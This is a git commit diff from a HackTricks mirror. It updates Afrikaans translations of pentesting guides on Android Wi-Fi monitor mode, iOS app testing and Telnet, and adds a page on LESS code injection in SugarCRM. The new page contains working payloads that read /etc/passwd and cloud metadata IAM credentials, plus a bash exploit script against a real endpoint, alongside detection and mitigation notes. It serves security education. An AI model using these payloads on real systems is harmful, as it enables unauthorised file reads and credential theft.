mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
268a1e92e8
commit
d876575772
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -15,14 +15,14 @@ Dieselfde tegniek geld vir enige toestel wat 'n publiek beskikbare NexMon patch
|
||||
|
||||
---
|
||||
|
||||
## Voorvereistes
|
||||
## Vereistes
|
||||
* Android toestel met 'n ondersteunde Broadcom/Cypress skyfie (bv. BCM4358/59/43596/4375B1)
|
||||
* Root met Magisk ≥ 24
|
||||
* BusyBox (meeste ROMs/NetHunter sluit dit reeds in)
|
||||
* NexMon Magisk ZIP of self-gecompileerde patch wat voorsien:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (Opsioneel) Kali NetHunter of enige Linux chroot waar jy van plan is om draadlose gereedskap te laat loop
|
||||
|
||||
---
|
||||
@ -30,7 +30,7 @@ Dieselfde tegniek geld vir enige toestel wat 'n publiek beskikbare NexMon patch
|
||||
## Flits die NexMon patch (Magisk)
|
||||
1. Laai die ZIP vir jou presiese toestel/firmware af (voorbeeld: `nexmon-s10.zip`).
|
||||
2. Maak Magisk oop -> Modules -> Installeer vanaf stoor -> kies die ZIP en herbegin.
|
||||
Die module kopieer `libnexmon.so` na `/data/adb/modules/<module>/lib*/` en verseker dat SELinux etikette korrek is.
|
||||
Die module kopieer `libnexmon.so` in `/data/adb/modules/<module>/lib*/` en verseker dat SELinux etikette korrek is.
|
||||
3. Verifieer installasie:
|
||||
```bash
|
||||
ls -lZ $(find / -name libnexmon.so 2>/dev/null)
|
||||
@ -53,14 +53,14 @@ nexutil -m0; svc wifi enable
|
||||
```
|
||||
Stel “Begin monitor-modus op airodump begin” in sodat elke Hijacker skandering in die oorspronklike monitor-modus plaasvind (`wlan0` in plaas van `wlan0mon`).
|
||||
|
||||
As Hijacker foute by die bekendstelling toon, skep die vereiste gids op gedeelde stoorplek en heropen die toepassing:
|
||||
As Hijacker foute by die bekendstelling toon, skep die vereiste gids op gedeelde stoorplek en heropen die app:
|
||||
```bash
|
||||
mkdir -p /storage/emulated/0/Hijacker
|
||||
```
|
||||
### Wat beteken daardie `nexutil` vlae?
|
||||
* **`-s0x613`** Skryf firmware veranderlike 0x613 (FCAP_FRAME_INJECTION) → `1` (aktiveer TX van arbitrêre rame).
|
||||
* **`-i`** Plaas die koppelvlak in monitor modus (radiotap kop sal voorafgevoeg word).
|
||||
* **`-v2`** Stel die verbose vlak; `2` druk bevestiging en firmware weergawe.
|
||||
* **`-v2`** Stel verbose vlak; `2` druk bevestiging en firmware weergawe.
|
||||
* **`-m0`** Herstel bestuurde modus (gebruik in die *deaktiveer* opdrag).
|
||||
|
||||
Na die uitvoering van *Aktiveer monitor modus* behoort jy die koppelvlak in monitor toestand te sien en in staat te wees om rou rame te vang met:
|
||||
@ -103,12 +103,12 @@ Omdat die firmware reeds radiotap inspuiting hanteer, gedra gebruikersruimte ger
|
||||
|
||||
## Tipiese Aanvalle Moglik
|
||||
Sodra monitor + TX aktief is, kan jy:
|
||||
* WPA(2/3-SAE) handshakes of PMKID met `wifite`, `hcxdumptool`, `airodump-ng` vang.
|
||||
* De-authentisering / disassosiasie rame inspuit om kliënte te dwing om weer aan te sluit.
|
||||
* Willekeurige bestuur/data rame saamstel met `mdk4`, `aireplay-ng`, Scapy, ens.
|
||||
* Rogue AP's bou of KARMA/MANA aanvalle direk vanaf die foon uitvoer.
|
||||
* Capture WPA(2/3-SAE) handshakes of PMKID met `wifite`, `hcxdumptool`, `airodump-ng`.
|
||||
* Inspuit de-authentisering / disassosiasie rame om kliënte te dwing om weer aan te sluit.
|
||||
* Maak arbitrêre bestuur/data rame met `mdk4`, `aireplay-ng`, Scapy, ens.
|
||||
* Bou rogue APs of voer KARMA/MANA aanvalle direk vanaf die telefoon uit.
|
||||
|
||||
Prestasie op die Galaxy S10 is vergelykbaar met eksterne USB NIC's (~20 dBm TX, 2-3 M pps RX).
|
||||
Prestasie op die Galaxy S10 is vergelykbaar met eksterne USB NICs (~20 dBm TX, 2-3 M pps RX).
|
||||
|
||||
---
|
||||
|
||||
@ -116,7 +116,7 @@ Prestasie op die Galaxy S10 is vergelykbaar met eksterne USB NIC's (~20 dBm TX,
|
||||
* `Device or resource busy` – maak seker **Android Wi-Fi diens is gedeaktiveer** (`svc wifi disable`) voordat jy monitor modus aktiveer.
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – die biblioteek is nie vooraf gelaai nie; dubbelkontroleer `LD_PRELOAD` pad.
|
||||
* Raam inspuiting werk maar geen pakkette gevang – sommige ROMs hard-blok kanale; probeer `nexutil -c <channel>` of `iwconfig wlan0 channel <n>`.
|
||||
* SELinux blokkeer biblioteek – stel toestel op *Permissive* of reguleer module konteks: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||
* SELinux blokkeer biblioteek – stel toestel in *Permissive* of reguleer module konteks: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||
|
||||
---
|
||||
|
||||
|
@ -17,7 +17,7 @@ Met 'n ou jailbreak toestel is dit moontlik om die IPA te installeer, **dit te d
|
||||
1. Installeer die app om te pentest in die iPhone
|
||||
2. Installeer en begin [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) binne jou macos
|
||||
3. Open `Terminal` op jou Mac, en cd na `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Die IPA sal later in hierdie gids verskyn.
|
||||
4. Jy behoort jou iOS-toestel te sien. Dubbelklik daarop, en klik dan op Voeg by + → Apps vanaf die boonste menu.
|
||||
4. Jy behoort jou iOS-toestel te sien. Dubbelklik daarop, en klik dan op Voeg by + → Apps vanaf die boonste menu-balk.
|
||||
5. Nadat jy op Voeg geklik het, sal Configurator die IPA van Apple aflaai, en probeer om dit na jou toestel te druk. As jy my aanbeveling vroeër gevolg het en die IPA reeds geïnstalleer het, sal 'n prompt wat jou vra om die app weer te installeer verskyn.
|
||||
6. Die IPA behoort afgelaai te wees binne `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` waar jy dit kan gryp.
|
||||
|
||||
@ -61,7 +61,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### Aktiveer Ontwikkelaarsmodus (iOS 16+)
|
||||
|
||||
Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie Frida/LLDB kan aanheg tensy hierdie vlag aan is nie.
|
||||
Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie in staat wees om Frida/LLDB aan te sluit tensy hierdie vlag aan is nie.
|
||||
|
||||
1. Installeer of druk **enige** ontwikkelaars-ondertekende IPA na die foon.
|
||||
2. Navigeer na **Instellings → Privaatheid & Sekuriteit → Ontwikkelaarsmodus** en skakel dit aan.
|
||||
@ -92,9 +92,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
Onlangse Frida vrylatinge (>=16) hanteer outomaties pointer-authentisering en ander iOS 17 versagtings, so die meeste bestaande skrifte werk reg uit die boks.
|
||||
|
||||
### Geoutomatiseerde dinamiese analise met MobSF (geen jailbreak nie)
|
||||
### Geoutomatiseerde dinamiese analise met MobSF (geen jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kan 'n dev-onderteken IPA op 'n werklike toestel instrumenteer met behulp van dieselfde tegniek (`get_task_allow`) en bied 'n web UI met 'n lêerstelselblaaier, verkeersvang en Frida-konsol【†L2-L3】. Die vinnigste manier is om MobSF in Docker te laat loop en dan jou iPhone via USB aan te sluit:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kan 'n dev-onderteken IPA op 'n werklike toestel instrumenteer met dieselfde tegniek (`get_task_allow`) en bied 'n web UI met lêerstelselblaaier, verkeerskapting en Frida-konsol【】. Die vinnigste manier is om MobSF in Docker te loop en dan jou iPhone via USB aan te sluit:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -112,7 +112,7 @@ MobSF sal outomaties die binêre ontplooi, 'n Frida-bediener binne die app sandk
|
||||
## Verwysings
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
- Apple ontwikkelaar dokumentasie – Ontsluiting van Ontwikkelaarsmodus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- Apple ontwikkelaar dokumentasie – Ontsluiting van Ontwikkelaar Modus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- Mobile Security Framework (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -23,9 +23,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
||||
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om saam te stem om 'n meer uitgebreide (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||
|
||||
**Ek weet dit is moontlik om hierdie opsies te enumerate, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
@ -75,7 +75,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||
|
||||
Hou hierdie CVE's in gedagte tydens kwesbaarheid triage—as die teiken 'n on-gepatchte firmware of erflating inetutils Telnet daemon draai, mag jy 'n regstreekse pad na kode-uitvoering of 'n ontwrigting DoS hê.
|
||||
|
||||
### Sniffing Akrediteerbesonderhede & Man-in-the-Middle
|
||||
### Snuffel Akrediteerbesonderhede & Man-in-the-Middle
|
||||
|
||||
Telnet stuur alles, insluitend akrediteerbesonderhede, in **duidelike teks**. Twee vinnige maniere om dit te vang:
|
||||
```bash
|
||||
@ -115,12 +115,12 @@ Nadat 'n shell verkry is, onthou dat **TTY's gewoonlik dom is**; opgradeer met `
|
||||
|
||||
1. Verkies SSH en deaktiveer Telnet-diens heeltemal.
|
||||
2. As Telnet vereis word, bind dit slegs aan bestuurs-VLAN's, handhaaf ACL's en verpak die daemon met TCP wrappers (`/etc/hosts.allow`).
|
||||
3. Vervang erfenis `telnetd` implementasies met `ssl-telnet` of `telnetd-ssl` om vervoer-enkripsie by te voeg, maar **dit beskerm slegs data-in-transit—wachtwoord-raai bly triviaal**.
|
||||
4. Monitor vir uitgaande verkeer na poort 23; kompromies genereer dikwels omgekeerde shells oor Telnet om streng-HTTP-uitgangfilters te omseil.
|
||||
3. Vervang ou `telnetd` implementasies met `ssl-telnet` of `telnetd-ssl` om vervoer-enkripsie by te voeg, maar **dit beskerm slegs data-in-transit—wachtwoord-raai bly triviaal**.
|
||||
4. Monitor vir uitgaande verkeer na poort 23; kompromies genereer dikwels omgekeerde shells oor Telnet om streng HTTP-uitgangfilters te omseil.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* D-Link Advisory – CVE-2024-45698 Kritieke Telnet RCE.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Code Injection wat lei tot SSRF & Plaaslike Lêer Lees
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Oorsig
|
||||
|
||||
LESS is 'n gewilde CSS voorverwerker wat veranderlikes, mixins, funksies en die kragtige `@import` riglyn byvoeg. Tydens kompilasie sal die LESS enjin **die hulpbronne wat in `@import`** verklarings verwys word, opsoek en ("inline") hul inhoud in die resulterende CSS inkorporeer wanneer die `(inline)` opsie gebruik word.
|
||||
|
||||
Wanneer 'n aansoek **gebruikersbeheerde invoer** in 'n string saamvoeg wat later deur die LESS kompilator geanaliseer word, kan 'n aanvaller **arbitraire LESS kode** inspuit. Deur `@import (inline)` te misbruik, kan die aanvaller die bediener dwing om te verkry:
|
||||
|
||||
* Plaaslike lêers via die `file://` protokol (inligtingsontsluiting / Plaaslike Lêer Insluiting).
|
||||
* Afgeleë hulpbronne op interne netwerke of wolk metadata dienste (SSRF).
|
||||
|
||||
Hierdie tegniek is gesien in werklike produkte soos **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` eindpunt).
|
||||
|
||||
## Exploitatie
|
||||
|
||||
1. Identifiseer 'n parameter wat direk in 'n stylesheets string wat deur die LESS enjin verwerk word, ingesluit is (bv. `?lm=` in SugarCRM).
|
||||
2. Sluit die huidige verklaring en inspuit nuwe riglyne. Die mees algemene primitiewe is:
|
||||
* `;` – beëindig die vorige verklaring.
|
||||
* `}` – sluit die vorige blok (indien nodig).
|
||||
3. Gebruik `@import (inline) '<URL>';` om arbitraire hulpbronne te lees.
|
||||
4. Opsioneel, inspuit 'n **merk** (`data:` URI) na die invoer om die ekstraksie van die verkregen inhoud uit die gecompileerde CSS te vergemaklik.
|
||||
|
||||
### Plaaslike Lêer Lees
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
Die inhoud van `/etc/passwd` sal in die HTTP-respons verskyn net voor die `@@END@@` merk.
|
||||
|
||||
### SSRF – Wolk Metadata
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### Geoutomatiseerde PoC (SugarCRM voorbeeld)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Detectie
|
||||
|
||||
* Soek vir dinamies gegenereerde `.less` of `.css` antwoorde wat onsanitized query parameters bevat.
|
||||
* Tydens kode-oorsig, soek vir konstruksies soos `"@media all { .preview { ... ${userInput} ... } }"` wat aan LESS render funksies oorgedra word.
|
||||
* Exploit pogings sluit dikwels `@import`, `(inline)`, `file://`, `http://169.254.169.254`, ens. in.
|
||||
|
||||
## Mitigasies
|
||||
|
||||
* Moet **nie** onbetroubare data aan die LESS-compiler oorgedra nie.
|
||||
* As dinamiese waardes benodig word, **escape**/sanitiseer hulle behoorlik (bv., beperk tot numeriese tokens, whitelists).
|
||||
* Deaktiveer, wanneer moontlik, die vermoë om `(inline)` imports te gebruik, of beperk toegelate protokolle tot `https`.
|
||||
* Hou afhanklikhede op datum – SugarCRM het hierdie probleem in weergawes 13.0.4 en 14.0.1 reggestel.
|
||||
|
||||
## Werklike Gevalle
|
||||
|
||||
| Produk | Kwetsbare Eindpunt | Impak |
|
||||
|--------|--------------------|-------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Ongeauthentiseerde SSRF & plaaslike lêer lees |
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,4 +4,10 @@
|
||||
|
||||
Kontroleer **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` inspuiting in `/rest/v10/css/preview` stel nie-geverifieerde SSRF & plaaslike lêerlees in staat.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user